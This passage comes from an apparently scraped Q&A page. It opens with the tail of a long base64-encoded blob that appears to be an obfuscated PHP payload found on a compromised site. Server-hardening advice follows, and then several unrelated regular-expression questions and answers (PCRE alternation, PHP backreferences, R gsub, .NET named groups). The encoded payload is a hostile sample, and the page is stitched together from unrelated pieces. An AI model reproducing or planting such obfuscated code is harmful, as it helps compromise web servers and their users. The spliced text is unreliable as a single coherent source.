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"));
?>

How to lock down your server:

There are a number of ways this could have gotten on your site. Most likely you have been hacked using Exploit Code because one of your web applications is out of date. Try updating everything, including libraries. Change passwords for everything, especially FTP, although should be using sftp or ftps.

If you control your MySQL server make sure your web application's MySQL user account is not root, and make sure you remove MySQL FILE privileges from the account. You should also go a step further and do a chmod 500 -R /path/to/web/root and do a chown www-data -R /path/to/web/root www-data is a common user for apache, but it might be differnt for your system try running <?php system("whoami")?> to figure out the user account.

Next run phpsecinfo. Modify your php.ini or .htaccess and remove all RED, and try and remove as much yellow as possible.

Is a single big regex more efficient than a bunch of smaller ones?

It depends what kind of big regex you write. If you end with a pathological pattern it's better to test smaller patterns. Example:

UK[A-Za-z]{10}|DE[A-Za-z]{20}|PL[A-Za-z]{7}

this pattern is very inefficient because it starts with an alternation, this means that in the worst case (no match) each alternative needs to be tested for all positions in the string.

(* Note that a regex engine like PCRE is able to quickly find potentially matching positions when each branch of an alternation starts with literal characters.)

But if you write your pattern like this:

(?=[UDP][KEL])(?:UK[A-Za-z]{10}|DE[A-Za-z]{20}|PL[A-Za-z]{7})

or the variation:

[UDP][KEL](?:(?<=UK)[A-Za-z]{10}|(?<=DE)[A-Za-z]{20}|(?<=PL)[A-Za-z]{7})

Most of the positions where the match isn't possible are quickly discarded before the alternation.

Also, when you write a single pattern, obviously, the string is parsed only once.

Regex for huge string

You could use the following regex.

-\s*(\S+)\s*\(\s*=\s*(\S+)\s*\)

Your key match results will be in capturing group #1 and the value match results will be in group #2

Rubular

what does this regex mean [^]*

Match 0 or more characters, which are not >. The ^ as the first item in character class [] will make the character class a negated character class, and any character after ^ are excluded.

this regex is true but does not work in localhost

You need to use a single quoted literal to make \1 be treated as a backreference (otherwise, you need to double escape it).

Also, to match either 1+ whitespaces or a ~ you need to use grouping with parentheses, not a character class. Note that [\s+|\~] matches 1 character: a whitespace, a +, | or a ~, and I doubt you actually want that behavior.

Use

$s = "{block content\nddggggggggggggggg\n/endcontent}";
$pt='~\{\s*block\s*-?\s*(\w+)(\s+|\~)(.*)\/end\1}~s';
preg_match($pt, $s, $match1);
print_r($match1);

See the IDEONE demo

How can convert this regex to R regex and regex R usage

You can use

x <- ">XP_002499978.1 predicted protein [Micromonas commoda]"
x <- gsub("(?:\\G(?!^)|\\[)[^][\\s]*\\K\\s+", "_", x, perl=TRUE) # Replace spaces in [ ]
## [1] ">XP_002499978.1 predicted protein [Micromonas_commoda]"
sub("^>(\\S+).*\\[([^][]*)].*", ">\\2_\\1", x) # Reformat the string
## => [1] ">Micromonas_commoda_XP_002499978.1"

There are two actions here:

  • gsub("(?:\\G(?!^)|\\[)[^][\\s]*\\K\\s+", "_", x, perl=TRUE) replaces all whitespace chunks inside square brackets with a single _
  • sub("^>(\\S+).*\\[([^][]*)].*", ">\\2_\\1", x) reformats the string.

See the regex #1 demo and the regex #2 demo.

Regex for this pattern: @ or # + 1 or 2 words + : + 1 words or more + link does not work

Give this a try

[@|#]((?:\w+\s?){1,2}):\s?((?:\w+\s?){1,})((?:http|https):\/\/.+)

test

@hello sss: xxx https://t.co/3WHshzDG7m
#hello sss: xxx another word https://t.co/3WHshzDG7m
#hello sss third: xxx another word https://t.co/3WHshzDG7m

Result

  1. MATCH 1

    1. [1-10] hello sss
    2. [12-16] xxx
    3. [16-39] https://t.co/3WHshzDG7m
  2. MATCH 2

    1. [41-50] hello sss
    2. [52-69] xxx another word
    3. [69-92] https://t.co/3WHshzDG7m

Online demo https://regex101.com/r/zU7lP2/1

Another version if you do not want to fix the link protocol

[@|#]((?:\w+\s?){1,2}):\s?((?:\w+\s?){1,})((?<=\s)\w+:\/\/.+)

Online demo https://regex101.com/r/zU7lP2/2

Match multiple instances of mysteriously ordered complex regular expression non-capturing groups

You shouldn't give the regex engine the option to match nothing.

It will roam around finding a lot of 'nothing' before it finds an optional something.

edit

If you just want a block match (any order, but sequential) something like this will work.

Your way now, with modifications:

(?:
(?: Section ... (?<sec_7> 7)
)
| (?: Section ... (?<sec_C> C)
)?
| (?: Section ... (?<sec_Z> Z)
)
)
(?: Section ... (?!\k<sec_7>) (?<sec_7> 7) )?
(?: Section ... (?!\k<sec_C>) (?<sec_C> C) )?
(?: Section ... (?!\k<sec_Z>) (?<sec_Z> Z) )?

If it can be factored, then this way:

(?: Section ...  (?<sec_a>(?:7|C|Z) )
(?: Section ... (?<sec_b>(?!\k<sec_a>)(?:7|C|Z) )?
(?: Section ... (?<sec_c>(?!\k<sec_a>|\k<sec_b>)(?:7|C|Z) )?
#
# Then after match check <sec_a/b/c> for its value

If you don't care about a block match:
Your case revolves around just an OR condition.
So, it could be as easy as this:

# base 10 statistic sections
(?: ..)
|
(?: ..)
|
(?: ..)

Where each match in 'base 10' section match has to be checked in a while loop as

Match m = Regex.Match(input, regex, RegexOptions.IgnorePatternWhitespace);
while (m.Success)
{
if (m.Groups["base10_Section7"].Success) { }
else
if (m.Groups["base10_SectionZ"].Success) { }
else
if (m.Groups["base10_SectionC"].Success) { }
m = m.NextMatch();
}

Even this can be reduced. For instance 7,Z,C can be combined in a single chunk.

This will leave the OR (|) for other distinct items to match, like say, 'base 2',

or any other form. One form will match. It has to be checked anyway.



Related Topics



Leave a reply



Submit